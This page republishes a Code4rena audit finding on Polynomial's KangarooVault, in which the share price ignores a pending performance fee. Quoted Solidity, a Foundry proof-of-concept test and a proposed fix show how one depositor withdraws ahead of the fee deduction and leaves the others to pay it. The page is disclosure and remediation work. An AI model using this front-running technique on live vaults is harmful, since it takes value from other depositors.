Skip to content
Business logic Audit finding Intermediate

Uneven deduction of performance fee causes some KangarooVault users to lose part of their token value

The KangarooVault contract charges a performance fee on premiumCollected when closing all positions, but the token price calculation includes premiumCollected without subtracting the fee. An attacker can withdraw before the fee is deducted, avoiding their share of the fee and leaving remaining users to bear it, reducing their token value.

peakbolt Follow

Originally disclosed on Code4rena

Submitted by peakbolt

In KangarooVault._resetTrade(), a performanceFee is charged upon closing of all positions, on the premiumCollected. This is inconsistent with getTokenPrice() as premiumCollected is factored in the token price computation, while the performanceFee is not. This leads to an uneven distribution of the performanceFee for the KangarooVault users.

Impact

That means a user can evade the performanceFee and steal some of the funds from the rest by triggering processWithdraw() before the performanceFee is deducted from KangarooVault. The remaining users will be shortchanged and lose part of their token value as they bear the charges from the performance fee.

Detailed Explanation

When all positions in KangarooVault are closed, _resetTrade() is triggered, which will proceed to deduct a performanceFee from the premiumCollected.

function _resetTrade() internal {
    positionData.positionId = 0;
    (uint256 totalMargin,) = PERP_MARKET.remainingMargin(address(this));
    PERP_MARKET.transferMargin(-int256(totalMargin));
    usedFunds -= totalMargin;

    uint256 fees = positionData.premiumCollected.mulWadDown(performanceFee);
    if (fees > 0) SUSD.safeTransfer(feeReceipient, fees);

    totalFunds += positionData.premiumCollected - fees;
    totalFunds -= usedFunds;

    positionData.premiumCollected = 0;
    positionData.totalMargin = 0;
    usedFunds = 0;
}

KangarooVault.sol#L788-L789

However, only premiumCollected is factored in the getTokenPrice() computation but not the performanceFee. That means the premiums are distributed among the users via token price, while the performance fee is not.

function getTokenPrice() public view returns (uint256) {
    if (totalFunds == 0) {
        return 1e18;
    }

    uint256 totalSupply = getTotalSupply();
    if (positionData.positionId == 0) {
        return totalFunds.divWadDown(totalSupply);
    }

    uint256 totalMargin;

    (uint256 markPrice, bool isInvalid) = EXCHANGE.getMarkPrice();
    require(!isInvalid);
    (totalMargin, isInvalid) = PERP_MARKET.remainingMargin(address(this));
    require(!isInvalid);

    uint256 totalValue = totalFunds + positionData.premiumCollected + totalMargin + positionData.totalCollateral;
    totalValue -= (usedFunds + markPrice.mulWadDown(positionData.shortAmount));

    return totalValue.divWadDown(totalSupply);
}

KangarooVault.sol#L358-L359

Proof of Concept

Add the following imports and test case to test/KangarooVault.t.sol

import {IVaultToken} from "../src/interfaces/IVaultToken.sol";

function testKangarooPerformanceFee() public {
    uint256 amt = 231e18;
    IVaultToken vaultToken = IVaultToken(kangaroo.VAULT_TOKEN());

    // deposit equal value for both user_2 and user 3 into KangarooVault
    uint256 depositAmt = 10e18;
    susd.mint(user_2, depositAmt);
    vm.startPrank(user_2);
    susd.approve(address(kangaroo), depositAmt);
    kangaroo.initiateDeposit(user_2, depositAmt);
    assertEq((vaultToken.balanceOf(user_2) * kangaroo.getTokenPrice())/1e18, depositAmt);
    vm.stopPrank();

    susd.mint(user_3, depositAmt);
    vm.startPrank(user_3);
    susd.approve(address(kangaroo), depositAmt);
    kangaroo.initiateDeposit(user_3, depositAmt);
    assertEq((vaultToken.balanceOf(user_2) * kangaroo.getTokenPrice())/1e18, depositAmt);
    vm.stopPrank();

    skip(14500);
    kangaroo.processDepositQueue(2);

    // Open position at KangarooVault and execute the orders
    kangaroo.openPosition(amt, 0);
    skip(100);
    kangaroo.executePerpOrders(emptyData);
    kangaroo.clearPendingOpenOrders(0);

    // Simulate price drop to trigger profit from premium collection
    setAssetPrice(initialPrice - 100e18);

    // initiate withdrawal for both user_2 and user_3
    vm.prank(user_2);
    kangaroo.initiateWithdrawal(user_2, depositAmt);

    vm.prank(user_3);
    kangaroo.initiateWithdrawal(user_3, depositAmt);

    skip(14500);

    // close all position with gain from premium collection
    kangaroo.closePosition(amt, 1000000e18);
    skip(100);
    kangaroo.executePerpOrders(emptyData);

    // user_2 frontrun clearPendingCloseOrders() to withdraw at higher token price
    kangaroo.processWithdrawalQueue(1);
    assertEq(vaultToken.balanceOf(user_2), 0);
    assertEq(susd.balanceOf(user_2), 9693821343146274141);

    // This will trigger resetTrade and deduct performance Fee
    kangaroo.clearPendingCloseOrders(0);

    // user_3's withdrawal was processed but at a lower token price
    kangaroo.processWithdrawalQueue(1);
    assertEq(vaultToken.balanceOf(user_3), 0);
    assertEq(susd.balanceOf(user_3),9655768088211372841);

    // This shows that user_3 was shortchanged and lost part of token value,
    // despite starting with equal token balance
    assertGt(susd.balanceOf(user_2), susd.balanceOf(user_3));
}

Recommended Mitigation Steps

Consider changing the following in KangarooVault.sol#L359

    totalValue -= (usedFunds + markPrice.mulWadDown(positionData.shortAmount) );

to

    totalValue -= (usedFunds + markPrice.mulWadDown(positionData.shortAmount) + positionData.premiumCollected.mulWadDown(performanceFee));

mubaris (Polynomial) confirmed


The original report as published on Code4rena, by peakbolt. Images and videos are our own copies; raw HTML is shown as text. View it on Code4rena.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

Root cause

Likely the token price calculation includes premiumCollected but does not subtract the performance fee that will be charged on it, so the fee is not reflected in the share price until after withdrawal.

Impact

A user can evade the performance fee and take value from other users, who receive less when they withdraw.

What the attacker needed

A vault with open positions and premium collected; ability to withdraw before fee deduction

The fix

The token price calculation should subtract the performance fee on premiumCollected, so the fee is reflected before withdrawals.

How it was found

  1. Two users deposit equal amounts into the vault.
  2. A position is opened and later closed with a gain from premium collection.
  3. Both users initiate withdrawals.
  4. One user processes their withdrawal before the performance fee is deducted.
  5. The other user processes their withdrawal after the fee is deducted and receives less.

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

A vault charges a fee on profits when it closes trades. The price of a vault share is calculated without subtracting that fee, so someone can take their money out before the fee is taken. They pay less than their fair share, and the people who stay lose out.

What is Business logic?

The application works as coded but not as intended: a negative price, a skipped payment step, a limit that can be crossed.

More by peakbolt

View all

16 more disclosed reports, best first.

More from Polynomial Protocol contest

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Business logic flaws

The lesson behind this report.

The application works as coded but not as intended: a negative price, a skipped payment step, a limit that can be crossed.